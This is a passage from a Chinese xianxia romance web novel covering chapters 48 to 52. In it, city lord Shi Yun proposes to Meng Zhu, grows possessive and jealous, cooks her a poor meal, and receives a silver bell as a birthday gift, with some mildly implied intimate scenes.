与之前不同的是,这里不知何时修建起了一座小小的院子,院子里栽种着各式各样的花,随着夜风拂动,一阵一阵的花香扑面而来。 院子里的一颗花树下,置了一个秋千,桐花枝绕着秋千开了一圈又一圈。 施允将孟竹放在秋千上,坐在她的身侧。 孟竹静静地等着,她有一种预感,她马上就要得到她真正想要的那个答案了。 心脏不由雀跃地跳动起来。 施允终于开始说话了,他的声音在寂静的夜空里,显得平淡而悠远。 “小的时候,我的母亲常常在这样的秋千上坐着,父亲会在她身后推着她笑,我那时顽皮,母亲也从不会多苛责我半分。” “我曾以为那样的日子不过是平常,可是后来我长大了,才明白原来平常才是难能可贵的事情,就像现在这样,和你坐在这里,什么也不做,我却觉得很舒心,很平静。” 孟竹听他慢慢说着,看着脚尖一下一下地摇晃。 “在我长大的过程中,身边的人一直告诫我要恪守己身,要谋而后动,可我现在才发现,有些道理不能只听别人说。” 顿了顿,施允站起身,在孟竹面前站定。 然后,他慢慢蹲下来,月光印在他光洁的侧脸上,孟竹看着那双眼睛里荡漾着的,像海水一样弥漫开来的柔情。 “我输了。” “你总是这样戏弄我,叫我总也猜不透你的心思。” 他拉起孟竹的手,指尖一点点缠绕进来,扣住孟竹的掌心。 “我原本想着,不再听你胡言乱语,也不想再看你的这双眼睛。” “因为你总是让我心烦意乱,轻易地就能让我不知所措。” 他将那双交握的手转过来,一个羽毛般的轻吻落在孟竹的手背。 “我已经不想再猜了。” 施允闭了闭眼,拉着孟竹的手抵在额头上,“我已用神魂与你定下契约,你将永远都有支配我的权利。” “现在,我想要贪心一些。” “可以告诉我,关于你的一切吗?” 第49章 负责 施允的眼神,在月夜下显得温柔而平静,他静静地看着孟竹,等待她的回应。 孟竹的脸在那样的注视下,难得地泛起了一点红。 她动了动手指,才发现不知何时,施允已经解开了对她的禁锢。 孟竹站起身,背对着施允摸了摸自己烫红的脸颊,轻轻地呼出一口气,她的心跳从来没有跳动得像今夜这样剧烈过。 紧接着,她转过头,捧着施允的脸亲了一下。 他似乎被这个吻亲懵了,瞳孔在一瞬间放大。 明明之前更亲密的事情已经做过了,他还是会因为这样一个亲吻而方寸大乱的模样,让孟竹止不住地笑了起来。 “你真可爱。”孟竹笑着捧起施允的脸,又亲了一下。 “当然可以。”孟竹说,“你愿意了解我,我很开心。” 施允的嘴角不受控制地上扬,站在花树下静静望着她。 孟竹放下手,她很少坦诚自己的心意,但是此刻,望着施允的眼神,那种无声纵容的模样。 她也想叫施允知道,她那些见不得人的想法。 “我……” 孟竹停顿了一下,深吸口气,“我看到好的东西,就会想着要把它夺过来……” 施允挑了挑眉,“人之常情。” “不……”孟竹走了两步,坐在秋千上,“不是那样的。” 她垂下眼看着自己的脚尖,“就算我拥有了,我也会担心它有一天会被人夺走,会消失不见。” 孟竹的手指攥紧,掐入掌心,“就像看到天上飞着的凤鸟,展翅高飞的时候,我却只想折断它们的翅膀。” “我不知道我为什么会产生这样的想法,或许,我本来就不是一个正常人。” 说完,孟竹始终低垂着眼,声音越来越低,“就算这样的我,你也能接受吗?” 孟竹第一次感到了胆怯。 她甚至有些不敢去看施允的脸。 直到身后的脚步声响了起来。 孟竹不由有些紧张,一颗心紧绷着,呼吸都放轻了些。 施允会怎么想她? 会觉得她是一个变-态吗? 他打算离开了吗? 那双干净的皂靴落入她的视线中,施允蹲下身,孟竹又清清楚楚地看到了他的眼眸。 施允似乎有些忍俊不禁,他伸手,在孟竹的额头上轻轻敲了一下。 孟竹有些懵了。 施允收回手,抵住唇,像是实在忍不住一样,笑声断断续续地从他的指缝里溢出来,伴随着花树摇曳的簌簌声响,轻柔地散在夜空里。 孟竹对上他笑得眉眼弯弯的眼睛,看着他眼里落进的月光,亮晶晶的,格外漂亮。 她看着施允朝她递上那双白净修长的手。 他在晚风里笑着,“那就折断我的翅膀吧。” “将我困在你的身边,哪里都去不了。” 孟竹张了张嘴,喉口像是被什么堵住了。 她什么话都说不出来。 她看着施允温柔缱绻的眉眼,想着。 真傻。 这世上怎么会有施允这样的傻子。 施允的手牵着她,两人交错的掌心间浮现数道牵引的灵流,“你看。” “……这是什么?” 施允抬眼看着她,“我说过了,就会做到。” “从今以后,你会共享我的一切,我的生命、寿元、修为、财富。” “只要你想,你随时可以拿走我的一切。” 他专注的眼神太过强烈,让孟竹的头皮都开始发麻。 这种不计代价的,毫无保留的爱,她从未拥有过。 孟竹有些无所适从,她看到那双清透眼眸中倒映着她的影子,又有那么一个微妙的瞬间,觉得自己太过丑恶。 她忍不住瑟缩了一下手指。 “……为什么这么做?” 施允捏着她的手指,静默了一瞬,而后看着孟竹轻声道:“你当真不知吗?” 夜色下,薄红一寸寸爬上施允的脖颈,一路染红了他的耳尖,他似乎难以克制自己的羞耻,说话的语调慢吞吞的,却极为慎重。 “我们已经有了肌肤之亲,我想娶你,做我的新娘子。” “我会对你负责的。” 孟竹有种坐云霄飞车似的,车速太快,晕乎乎的感觉。 她的心跳加快了一瞬,又觉得这一切像是做梦一样。 这样直白的施允,简直让她有些招架不住。 结婚这种事?是不是有点太快了? 他们都还没有深入地了解过彼此。 至少也要先谈一谈恋爱吧。 况且,孟竹又想起了曾经那些日日夜夜铭刻入骨的哭泣声,心头泛起一股说不清道不明的恐慌。 结婚以后,就能得到什么好的结局吗? 未必。 不如……不如就让时间停在最好的那一刻。 孟竹的手指收了回来,她从秋千上站起来,背对着施允,酝酿着说辞。 很快,她想到了一个能够应付眼前情况的理由。 孟竹转过身,笑着:“我当然很愿意嫁给你,只是,成亲这种事情还需要同父母商议吧,你看,我都没有见过他们,万一他们不同意呢?” 施允也站起身,他低着头,似乎笑了一下,“我的母亲早已隐世多年不问世事,父亲已逝,我的婚事并不需要他们的首肯。” 孟竹抿了抿唇,在花树下走动了两步,又道:“但是,我们……我们这样也太快了,都还没有好好相处过,仔细了解对方。” 施允抬起眼,静静地看着她。 半晌,他问:“要怎么了解呢?” “不若先带我去你的家乡,带我看看你长大的地方,我们好好了解一下对方。” “不行。”孟竹下意识地脱口而出,又觉得自己的语气太过夸张,于是她放缓了声调:“我的家乡同别人没有什么两样,就是在凡界的一个再普通不过的地方,没什么好了解的。” 她的来历太过离奇,就算说出来,也只是让麻烦事变得更多。 她不擅长解释,反正…… 总有一天,她会在一个恰当的时候告诉他全部的,但不是现在。 太急了,太仓促了。 孟竹上前几步,拉住施允的手,“我们再等等,好不好,现在这样不好吗?” “你相信我,我不是在拒绝你,我是真的愿意嫁给你,好吗?” 施允被她拉着,不言不语。 他看着孟竹一张一合的唇,脑后像是被人重重打了一闷棍。 孟竹可能自己也不知道,她心虚的时候,眼睛会变得比之前更亮,话也会格外得多。 都到这个时候了,还在骗他。 满口谎言。 她的嘴里可曾有一句真心话? 真是一个巧舌如簧的骗子。 哪怕他把心挖出来递给她,她也只会踩在脚下,不屑一顾。 如此薄情寡义的女人啊…… 施允伸出手,指腹轻轻擦过孟竹的唇。 别说了。 别再骗我了。 你说出来的每一句话,每一个字,这样拙劣的谎言,你自己信吗? 他想这么说,可他只是揉了揉那张不停说出谎话的唇瓣,低头吻住了她。 施允咬着那柔软饱满的唇瓣,在呼吸交错的间隙,他抵着孟竹的额头,轻声道:“我当然相信你。” “我愿意等你。” 孟竹松了口气,环上施允的腰身,靠在他的怀里闭着眼睛笑起来。 “施允,你真好。” “我最喜欢你了。” 施允回抱着孟竹,他的手一点点抚摸着孟竹的头发,眼睫低垂着,看着她飘动的裙摆。 喜欢他? 是将他当作一个猫儿狗儿一般喜欢吗? 喜欢的时候就逗弄一下,不喜欢的时候便一脚踢开? 孟竹的手摸上施允的背脊,高高凸起的骨骼让她觉得有些难受,她在施允的怀里抬起脸:“你太瘦了。” 施允嗯了一声,“怎么了?” 孟竹打量着施允的脸,手指碰了碰他的眼睫,那蝶翅一样的长睫在她指尖颤动,带来一阵微痒的触感。 孟竹觉得好玩,又摸了两下,被施允把手拉下来攥在掌心。 “别闹。” 她心中高兴,忍不住想要逗他,“你太瘦了,你看你的脸都凹下去了,变丑了。” 施允愣了一下。 他变丑了? 他松开孟竹的手,指尖碰了碰自己的脸,“当真?” 听到施允这相当认真的语气,孟竹忍住笑,故作严肃道:“真的,没有以前好看了。” 施允指尖灵力凝成一面光镜,看着镜子中自己的脸。 他其实从未这样仔细地端详过自己的这幅皮囊,对他来说皮相的美丑根本没有什么意义,因为这并不能为他带来任何价值和利益。 但他知道,孟竹应当是喜欢这样好看的皮囊,每当他按照她的喜好穿衣时,她的目光总会多在他身上多停留片刻。 这样肤浅的、朝三暮四的女人。 这就是孟竹。 呵呵。 施允在心中冷笑着,他早该清楚的,她不过是一个热衷于皮相的好色之徒。 她戏弄他,亲吻他,同他亲密,却从不想着对他负责。 无怪乎她会一直骗他。 原来他能留住这个肤浅女人的,就只有这张脸了吗? 当真是可笑至极。 因为太久没有进食的身体又开始一阵阵地泛着恶心,他几乎有些头晕目眩地想着:这样肤浅粗陋的女人,他怎么就非要上赶着给她作践呢? 施允慢条斯理地打量着镜子中的自己,的确是瘦了,容色不如从前了。 “你不喜欢我这张脸了吗?”他偏过头,轻声问孟竹。 孟竹被他这种语气逗得忍不住笑了一下,她靠近施允,双手捧起他的脸,仔仔细细看了看。 然后评价道:“好看。” “就算这样了,也还是很好看,我很喜欢。” 施允点点头,散了那面光镜,微笑着对孟竹道:“那就好。” 他在孟竹的掌心笑得眉眼弯弯,又问她:“那你觉得,我同霍予,谁更好看?” 第50章 疼爱 孟竹觉得,施允这个人真的是一个言出必行且十分执拗的性子。 自从那日以后,施允当真开始日日进补,且饮食作息十分规律,不出半个月,他便又恢复到了原先那副容光焕发的模样。 只是他每日都要问上一遍。 “我今日是否好看?” 得到孟竹肯定的回答后,他又会问第二个问题。 “比那霍予如何?” 他简直像是那个白雪公主故事里面不厌其烦地询问魔镜的恶毒王后,天天在她耳边念叨。 孟竹,孟竹,谁是这个世界上最好看的人? 孟竹麻木地重复着:“是你,是你,你是这个世界上最好看的人。” 施允便会满意地点点头,“很好。” 自那日以后,施允便要求孟竹搬到城主府来与他同住,孟竹当然没同意,她还得每日到学府来上课,路远得很,她也不想来回跑。 而且同居这事,感觉太早了。 施允听了她的话,沉思了片刻,点了点头,并没勉强孟竹。 只是第二日,孟竹刚从被窝里爬出来,就有人敲响了院门,她看着院中已经堆满了一箱又一箱的东西,太阳穴一抽一抽得疼。 施允倒是很是善解人意地对她说:“你既不愿意来城主府与我同住,那我搬来学府便好。” 那神态语气,理直气壮到了一个匪夷所思的地步。 孟竹看着从她院子跟前路过的面色各异的各位同修,咬了咬牙,一路拽着施允将他拖回了城主府。 自此,她便在城主府住下了,那只她养的猫儿养好了伤,也被孟竹放归山林了。 离开之前,猫儿在孟竹手心蹭了蹭,一步一回头,最后跑入了远处的深山。 施允当时看了那只猫儿很久,什么也没说,但他站在潇潇竹影中,像是失神一样沉默了很久。 “怎么了?”孟竹忍不住拉了拉他的指尖。 施允回神,掌心回握住孟竹的手,嘴角重新挂上笑容,“无事。” 孟竹开始了两头跑的生活,白天待在学府里上课,晚上回城主府睡觉。 时光好像一下子变得宁静而漫长,日复一日,在这段时间里,孟竹体会到了前所未有的平静和安宁。 唯有有一件事,让孟竹觉得她在这蜜里调油的日子里生出些难以言喻的疲乏来。 尤其是两个人待在一处,一对上施允的那双眼睛,莫名其妙地就滚到榻上去了,次数多了以后,身体难免有些吃不消,孟竹觉得自己好像那个中年无力的老男人,家里有个貌美如花的老婆,却实在心累得慌。 主要是施允开了荤以后,也不像从前那样逗一逗就脸红了,做完那事儿以后,当真是缠人得紧,恨不得不分昼夜地拥着她,抱着她。 迈不开腿,物理意义上的。 渐渐地,孟竹越来越觉得自己像个正常人了,她那些奇怪的、阴暗的想法都在施允密切的攻势下消失得无影无踪。 别说什么折断他的翅膀让他离不开自己了,孟竹甚至想休息两天,得空自己能喘口气。 孟竹有一种憋了一股大劲儿没处使的惆怅感。 就好像她已经准备好发射大招,她志在必得,信心满满,可她才一个轻轻的平A,对面就躺倒在地任摸任打了。 但同时,孟竹又觉得她待在一种令她十分安逸的氛围中,每天醒来,一颗心都是满的,像是吸满了水的海绵。 有一种叫做温情的东西慢慢在她心中生长,她不必在他面前隐藏她那些奇怪的爱好和想法,不必像曾经一样将自己的性子压着去照顾另一个人的想法,不必看任何人的眼色,也不必担心明天他是否会离开。 因为总有人用那种纵容的眼神望着她,因为她一睁眼就能看到他。 她就像回到了很小很小的时候,记忆里还有两双温暖的手牵着她蹒跚学步一样,那是她人生中第一次感受到这种情绪。 很短暂,她却记了很久,她一直在尝试找到这种感觉,找了很久,都遍寻不见。 而在这段时间,她总能在施允的身上体会到这种对她来说有些陌生,又有些奇妙的感觉。 因为最近孟竹住到了城主府,几乎所有人都在猜测她同施允的关系。 其中最被人津津乐道的一种说法,就是孟竹不知道使了什么狐媚子手段,才攀上了施允,成了他的宠姬。 这种事情在仙洲世家中很常见,养成群的姬妾都不是什么稀奇事,只是施允身为玉都少主年岁尚轻又未婚配,且向来不近女色,这才格外令人关注了些。 所有人都觉得孟竹这种身份的人,不过是个玩意儿,被施允厌弃是迟早的事。 更有一些久经风月的世家公子们在茶余饭后打赌,觉得施允这人定是见过的世面太少了,也不会玩,进过几趟温柔乡以后准保把这女人丢脑后面。 当然这些言论也传到了孟竹跟前,她倒是不甚在意,唯一有一点她非常不认同的就是。 狐媚子这个称号她受之有愧。 这日,学府下课以后,来了件孟竹感兴趣的事,学府的课程安排得很是全面,说是过两日要带他们去伏兽谷挑一只坐骑进行驯化。 驯兽这事一直是孟竹热衷的,她之前就注意到玉都城的上空时不时飞着各种各样的奇珍异兽,感觉比御剑飞行还要厉害。 拥有一只威猛刚强的坐骑,十分令孟竹向往。 就像是鬼火少年们对摩托车有着无限的迷恋一般,大概孟竹唯一中二的时期,便是看热血动漫里面主角拥有自己的召唤兽激起了她少有的热情。 因为对这件事感兴趣,孟竹难得地同她现任的同桌多聊了几句,同桌余文瑾是个身型较为矮小的男子,比孟竹小几岁,长着一张娃娃脸,倒是十分亲和。 没成想他也对驯兽一事颇有兴趣,其中很多看法倒是同孟竹不谋而合。 余文瑾说话斯斯文文的,看起来有些内向,没想到志向这么远大,他说他想要驯服一条大蟒蛇做坐骑。 果然人不可貌相。 孟竹还是挺喜欢他这个性子的,感觉像个邻家弟弟,她对年纪小的孩子有种天生的好感和保护欲,不免时间聊得久了些,这一抬眼,才发现太阳都已经落山了。 因为余文瑾恰好也要出学府,便随着孟竹一同朝着山门口走去,一路上,两人时不时聊上几句。 夜晚的学府不似玉都城内那般灯火通明,一切像是笼上了一层灰色的纱,山间的浓雾又聚集起来,昨日刚下了场雨,茂盛的草木间还有种潮湿的土腥气。 为了避免脚下不小心踩到湿泥,孟竹低着头走得慢了些,总算绕过了崎岖的小路,孟竹一抬眼,就看到施允提了盏灯,正站在山门外。 他头微微向一侧偏了偏,看向落后于孟竹一步的余文瑾。 孟竹看到人,加快脚步朝施允走了过去,“你怎么来了?” 灯笼的光照在施允面无表情的脸上,他看了孟竹一眼,嘴角像是轻嘲似的扯了一下。 “快要下雨了。”施允道。 孟竹看了眼天边渐渐低沉厚重起来的云雾,点点头,“还是你贴心。” 施允没再说话,他的视线又落回余文瑾身上,余文瑾被这莫名扎人的视线看得有些发懵。 他提着灯向前几步,拉近同余文瑾的距离,一步之遥的时候,施允将灯笼举起来,微微倾身打量着余文瑾的脸,暖黄的灯光照在了两人之间。 与此同时,余文瑾也非常清晰地看清楚了比他高了大半截的,施允的模样。 他有些磕磕绊绊地打了声招呼:“……施少主。” 施允勾唇笑了一下,他颈侧的发滑落至身前,余文瑾从那墨发的缝隙中看到了一些痕迹。 因为角度的原因,他能看见施允微敞的领口间,莹白锁骨上如出一辙的红痕与一小排牙印。 “……” 余文瑾的脸唰地一瞬间涨成了猪肝色。 身为一城之主,怎能如此…… 如此……放浪形骸,带着这些痕迹招摇过市。 他尚未经情事,可该懂的都懂,他想起来孟竹同施允的关系,心道传言果真不假。 孟竹的狐媚手段当真厉害。 “干嘛呢?走了。”孟竹喊了一声,抱着胳膊看着施允的背影。 施允直起身子,慢慢整理了下衣襟袖口,他对着余文瑾笑了笑:“你年岁尚轻,下了学还是早些回去多用功,少与旁人闲扯。” 余文瑾讷讷应了声,匆匆行了个礼离开。 走之前,他慌慌张张又一言难尽地看了孟竹一眼,小声同她告了个别。 等他走后,孟竹跟着施允一起往城主府的方向走。 想起刚刚余文瑾的表情,孟竹问:“你刚刚跟他说什么了把人吓成那样?” “我能说什么?”施允提灯的手晃了晃,捏着提杆的指骨泛白。 “你不知道我在等你吗?” “还是说,你知道,却从不在意。” 他停住脚步,站在原地看着孟竹。 越是靠近,越是不安。 越是得到,越是痛苦。 也越是……欲罢不能。 是他欲壑难填。 是他作茧自缚。 孟竹停下来,她注视着夜色下的那张脸。 他们之间的控制欲和占有欲,此消彼长,势均力敌。 孟竹忽然笑了一下。 看来,是因为她啊,瞧瞧他现在变得多么可爱。 “不要用这种眼神看着我。” 孟竹的手从施允的下颌抚上他的眉眼,手指揉平了那眉间的痕迹。 “因为你越是这样看着我,我就越觉得你在纵容我。” “施允。”孟竹拍了拍他的脸,“你不就是喜欢我让你疼吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 嘴硬 孟竹一早起来又匆匆去了学府,施允看得出来,她这两日比平常兴奋一些。 离开前,孟竹问他喜欢什么样的坐骑,说不定她也能帮他带一只回来。 施允思考了一下,摇了摇头。 他并不喜欢肢体接触,哪怕是坐骑。 孟竹笑了一下,她笑起来的时候,整张脸的神情都柔和起来,唇角的梨涡像一道小小的漩涡。 她亲了亲他的脸,说:“走了。” 离开的时候,那一抹温热停留在他的侧脸,又慢慢变凉了。 施允照例到了议事阁,他听着下属跟他汇报最近各城的动向。 他坐在座椅上,一手支着头,一手按着桌面上一摞文书。 苍山凌氏与南宫氏联姻,交换了灵脉和资源壮大氏族。 长泽一如既往地平静,不是在垦荒地就是在种灵果。 施允听着听着,看着下属一张一合的嘴,思绪又渐渐飞远。 孟竹现在在做什么呢? 会不会受伤呢? 她会和谁说话,他们在聊什么呢? 其实大多数时候,孟竹和施允相处时,他们之间的话并不多,他批阅文书的时候,孟竹会躺在床上看话本。 她并不关心他桌案上那些呈上来的文书里写了什么,也不关心那些各方势力之间的牵扯。 她甚至懒得看上一眼。 他曾经问孟竹,想不想要继续提高修为,孟竹却摆摆手,“我要那么高的修为做什么?” “得道升仙,长生不老?” 孟竹翻了个白眼,“我现在金丹期,就已经能活够久了,要是成千上万年地活下去,看着曾经熟悉的一切变得面目全非,想想就好痛苦。” 原来长存于世也是一种痛苦吗? 施允不懂了,他不知道孟竹喜欢什么,总觉得她像一朵云,风一吹便散了。 这样下去,对孟竹来说,他连利用的价值都没有了。 施允点着桌面,想着,那他还有什么呢? 他还能给孟竹什么呢? 很多个夜里,他批阅完了那些枯燥烦人的文书,在偶尔抬眸的间隙,看见孟竹已经睡着的脸,他会不自觉地看很久,一颗心也逐渐安静下来。 城主府的夜,安静地没有一点声音。 在这样万籁俱静的夜里,又有另一种情绪牵扯着他,他抱着孟竹,躺在她的身边,明明已经足够贴近了。 不安的感觉却如影随形。 他越来越难以忍受同孟竹分开的时间。 但幸好,施允看了眼窗外的天色,她很快就会回到他身边。 直到一声咳嗽声将施允的神思唤了回来。 施允抬眼,看到韩韬握拳咳了两声,“想什么呢?” 下属还站在原地等待回复。 韩韬坐下来,问他:“丰城那事儿怎么处理?” 施允放空了一瞬,哦,对,他还在处理事情。 他揉了揉额心,有些疲惫地问:“你说丰城?” 韩韬道:“嗯,最近丰城市面上有一批人在大量收购剑石,买卖行为也很很可疑,每次出面交易的都不是同一个人。” 施允沉默了一瞬,手指在身侧摩挲了一下。 丰城啊…… “加派人手盯着他们,有任何异动随时来报。” 下属领了命退出去。 施允往后靠着,有些懒散的模样,他最近在议事的时候,走神的时间越来越长,连韩韬都看不过去了。 他看着施允的样子,有些无奈地问:“你最近怎么了?难不成真*像他们所说,被一个女人迷得不知东西南北了?” 施允斜他一眼,“你懂什么?” 韩韬把文书放在桌子上敲了敲,有些恨铁不成钢道:“我看你是陷进去了,你这样子,迟早被她拿捏得死死的。” “她就是个祸害。” 施允看了他一眼,眼神冷下来,“嘴巴不会说话就闭上。” 韩韬阴阳怪气地哟了一声,他自小同施允一起长大,何时见过施允这么护短,心下不由也有些吃味。 “还不准我说她了,我看你真是要完了。” 施允推开桌面上堆成山的文书,站起身,似笑非笑的看着韩韬:“你如今也到时候婚配了,可曾有心上人?” 韩韬被噎了一下,他一直帮着两家的氏族做事,满心不是修炼就是想着怎么变得更强。 对于情爱一事,倒是从来没认真考虑过,到现在连姑娘的手都没摸过。 “干嘛……” 施允挑了挑眉,“说了你也不懂。” 韩韬看着阳光落在施允的身上,他不知道想到了什么,脸上的神情不似平日那般不近人情,眼眸中跃动着一抹鲜活而明媚的光。 “好好好,我不懂,就你懂行了吧。”韩韬叹口气,扶着额笑了笑。 他想,说不定,这也会是一件好事呢。 走出了议事阁,施允穿过长长的回廊,前方的庭院里聚了一堆侍女们,她们没看见施允,聚在一起兴奋地讨论着什么。 最近,因为孟竹不喜欢人太多,很多事情她都喜欢自己亲自做,施允便撤了主殿中大半的人手,这些侍女们一时便闲了下来。 其中一名侍女回头,看见走廊中站着的施允,一下子便慌了神。 她扯了扯身边依然在说话的同伴,一群人一瞬间停下了七嘴八舌的讨论声。 她们朝着施允行了礼,“主子……” 施允看着她们脸上的神情,摆了摆手让她们离开。 侍女们松了口气,互相看了一眼,排成一列从走廊的尽头离开。 施允往前走,到了尽头的时候,凉亭里石桌上的东西引起了施允的注意。 风把书翻开几页,密密麻麻的小字。 施允走过去,手指按着书页往前翻了翻,他把书合上,视线落在封面上。 《驭夫计之一百零八式》 什么鬼东西? 施允拿起来看了看,重新翻开书页,视线落在上面的小字上:“此书乃本人多年心得,字字珠玑,学会本书中的手段,何愁与夫君离心之说?” 他继续往下看,“此第一计,抓住夫君的胃,便是抓住夫君的心……” 施允冷笑一声,直接把书扔了。 什么破玩意儿!- 孟竹今天回来得稍晚一些,她在伏兽谷享受到了久违的,像是放归山林一般的乐趣。 当然,今天也大有所获,她不仅驯服了一头雄狮,还猎了几只山鸡回来,准备动动自己久违的厨艺煲个汤给施允尝尝。 狮兽的体形太大,不方便随时跟着,孟竹同它缔结了契约,只要听到她的召唤术,便能瞬间出现在她面前。 她开心极了,给狮兽取了个名字,大毛。 狮兽通人性,听到这个名字的一瞬间,也幽幽地看了孟竹一眼。 孟竹有些惭愧,她实在不会起名字,她对大毛说:“将就用着吧,以后再给你起一个风雅些的名字。” 这种快乐的心情一直持续到她回到城主府。 她其实不太喜欢城主府这个地方,总觉得在这里沉闷的很,人人脸上都像是戴了假面一样,公式化的样子,看起来一点活人味儿都没有。 孟竹七拐八拐地回了主殿,她身上沾了许多尘土,非常不舒服,回来的时候没有在熟悉的地方见到施允,她想着大概施允还在处理事情,便直接去了浴池。 等到她把身上的那些疲乏都泡走了以后,孟竹将身上的水擦干,简单套了一件衣裙走出去。 她回到主殿,看到施允正站在桌边一动不动,不知道在想什么。 孟竹走过去,手从他身后环抱住施允的腰身,埋在他的背上蹭了蹭。 施允的身体僵了一瞬,回过头来。 “吃饭了。”他说。 孟竹往桌上扫了一眼,才发现今日的菜色跟往日不同。 十分之……简陋。 一叠炒青菜,一盘桂花鱼,一碗不知道里面是什么的汤,有点黑。 孟竹跟着施允一同坐下来,她有些迟疑地问道:“今日膳房换厨子了?” 施允沉默了一瞬,嗯了一声。 孟竹拿起筷子,夹起一筷青菜往嘴里送。 她咀嚼了两下,发现施允一直在看着自己。 好咸…… 咸得发苦…… 施允的手搁在桌子上,拿着筷子的手一直没动,他抿了抿唇,问:“好吃吗?” 孟竹把菜咽下去,点了点头,又去夹那道桂花鱼。 鱼肉进嘴的一瞬间,一股腥味混合着齁甜黏腻的酱汁充盈在口中。 孟竹沉默了。 余光看见施允期待的眼神,她硬着头皮连吃好几大口,称赞道:“好吃。” 施允绷着的唇角扬起来,“真的?” 他说着,也伸手夹了一筷子,跃跃欲试的模样。 施允脸上如沐春风的笑容僵住。 他拿来痰盂将鱼肉吐了进去,有些气愤地看着孟竹:“你又骗人,这哪里好吃了?” 孟竹哈哈哈哈哈地笑起来,当着施允的面又继续吃起来,将盘中的青菜和桂花鱼都消灭了大半。 施允在一旁看着她,“难吃就别吃了。” “我喜欢。”孟竹笑眯眯的,“你做的都好吃。” 施允的视线移开,语气僵硬道:“胡说,你哪只眼睛看见是我做的了?” 孟竹喝了点清口的茶,用巾帕擦了擦嘴。 她走过去,直接坐在了施允的腿上,把施允的脸转过来同她对视。 “好硬的一张嘴。”孟竹的手指点在他的唇上,然后隔着指尖亲了一下。 她看见施允的耳根一点点变红,腿上传来一点异样的触感,又热又烫。 孟竹的手往下,轻声道:“好像不止是嘴硬呢……” 她一手扶着施允的肩膀,松散的衣裙滑落下来,“让我找找,还有哪里……” 施允扣在桌沿的手指掐得泛白,一点点收紧了。 “找到了。” 他听见孟竹的声音,在他耳边。 被完全吞没了。 失神的间隙,施允有些放空地想着。 那本书,好像有点用。 要不去捡回来? 第52章 银铃 最近天气格外得好,连下午的黄昏也比寻常的日子更漂亮。 孟竹忽然想起那时候在杨柳村,帮人洗衣服的时候,冷水浸泡着她的手指,在黄昏时分赶回那个破败的小屋里。 那个曾经被她称之为家的地方,逐渐在记忆中变得模糊起来。 好像就连在那个世界里的回忆,也变得不那么清晰了。 施允对她说要离开几天,出去处理些事情,孟竹说好。 她没问施允要去哪里,也没问他要做什么。 施允总能给她一种,无论他去往哪里,走到哪里,他都会回到她身边的感觉。 可这一走,便走了十余日。 一开始,孟竹还是每天都定时回城主府,直到有一天晚上,她从梦中醒来,摸了摸身侧冰凉的床榻。 那抹熟悉的香已经散得快要闻不到了。 孟竹赤足下了榻,脚踩在冰凉的地砖上,让她从梦中惊醒的神思清醒了许多,她推开窗,坐在窗边发了会呆。 月光照在她的身上,夜凉如水。 孟竹看着手上的那枚乾坤戒,又重新回到了她的手上,她手指轻轻在光滑的戒圈上摩挲了一下,从里面掏出了玉简。 手指一划,玉简便亮了起来,孟竹笑了一下,真像异地恋打电话似的。 玉简那头的声音,稍显疲惫,“怎么还没睡?” 孟竹问他:“你也睡不着吗?” 施允的声音变轻了些,嗯了一声。 孟竹把腿抱着,下巴搁在膝盖上:“那我给你讲个睡前故事吧。” 施允叹口气,“哄小孩子呢?” 孟竹笑了下,继续讲:“从前从前,有个小王子,他离开了自己的星球,到了一个陌生的地方,他遇见了很多人,他无法理解这些人说的话,做的事,觉得一切都古怪极了……” “小王子经常会看日落……” “小王子遇到了一只狐狸,狐狸对他说,只有驯养过的东西,你才会了解它。”【注1】 “为什么呢?” “因为他们毫不相干啊。” 她断断续续地说,施允安安静静地听。 施允似乎自动忽略了她话语中那些听不懂的字眼,他的声音在夜里响起,轻轻的,带着点笑音。 他问:“那小王子,在陌生的世界里是不是很孤单呢?” 孟竹想起故事里小王子爱上的那朵花儿。 带刺的花儿总是口是心非,将它的柔情藏在柔软的花瓣里,世界上有许多一模一样的花儿,但只有在那颗小星球上的,是属于他的独一无二的玫瑰。 孟竹的手碰到冰凉的玉简上,道:“小王子是故事里的人,我是我。” “不用试探我。” “我现在很想你,施允。” 当天光破晓的时候,殿门忽然开了。 孟竹从榻上起身,一抬头,就看见了许久未归的人。 他身上沾着晨露的味道,披星戴月而来。 她又嗅到了那股熟悉的香味。 孟竹想起当时施允回仙洲留给她那支玉简时,被她打断的那句话。 “如果你实在想……” 后面,他想说什么呢? 施允在这个晚上给了她答案。 如果你想我,我就会回来。 自这一夜开始,施允和她仿佛进入到了另一种阶段,施允有了些变化。 他几乎像是想要每分每秒都待在孟竹身边,除了必要的议事几乎就在寝殿中和孟竹两个人相处,哪怕什么也不做,施允好像看不够一样,总在时时刻刻看着她。 有时候,孟竹会盯回去,好笑道:“眼睛长在我身上了,总看我做什么?” 施允不说话,只是笑。 孟竹想得出神,没注意到身旁的人逐渐幽深的眼神。 施允侧首支着头,静静地望着面前的孟竹。 她脸上的表情一会儿蹙眉,一会儿又有些无奈,很是生动。 施允喜欢这样鲜活的孟竹。 细长的手指在她光滑的、带着层薄汗的背脊上轻轻滑动,孟竹似乎有些受不了地打了个颤,她把脸埋入被子里,反手拉下施允的手按住。 “停,我要休战。” 施允无声地笑了一下。 每一个夜晚,他都会这样看着她。 他看着天光从黑色变为淡青色,看着日光慢慢爬上屋檐,看着那一点光照在孟竹熟睡的侧脸上。 他伸手挡住了那一点光,看着孟竹因为不太舒适蹙起的眉松开,柔软安静的模样。 这个时候,他的心就会慢慢安静下来。 恍惚间觉得,从那一点微光中,他也能获得一点点的爱。 孟竹转过脸来的时候,施允下意识地偏了偏头,墨发随着纤长流畅的脖颈一路蜿蜒滑落。 他笑起来,什么话也不说,唇红齿白,眼波流转。 孟竹看着,忍不住吸了口气。 她伸手在他腰上捏了一把,看着那一侧的皮肤慢慢泛起红痕,施允闷哼一声,却又不躲,直勾勾望着她。 孟竹按着施允的肩膀,他便很顺从地随着她的动作被推倒,身后的长发像是流水一样铺开。 孟竹看着,总觉得施允现在就像个吸食人心的艳鬼,要来勾她的魂,索她的命。 她的手向上,又点了点施允的脖颈,忽然想起什么,手中掐了个诀,掌中便浮现一抹碧莹的绿光,像是黑夜里的萤火虫一般在她掌心跃动。 “这是什么?”施允看着那抹光,问道。 孟竹笑了一下,“之前就想给你了,一直没机会。” 她把手上的东西凑到施允面前,施允看了一眼,是一枚很小的,晃动的银铃。 “你生辰那天我就想给你了,这是送给你的生辰礼物。” 施允不知想到了什么,似笑非笑的,“生辰那天?” 孟竹挑了挑眉,道:“那时候你总不搭理我,我自然没有机会,都是你的错。” 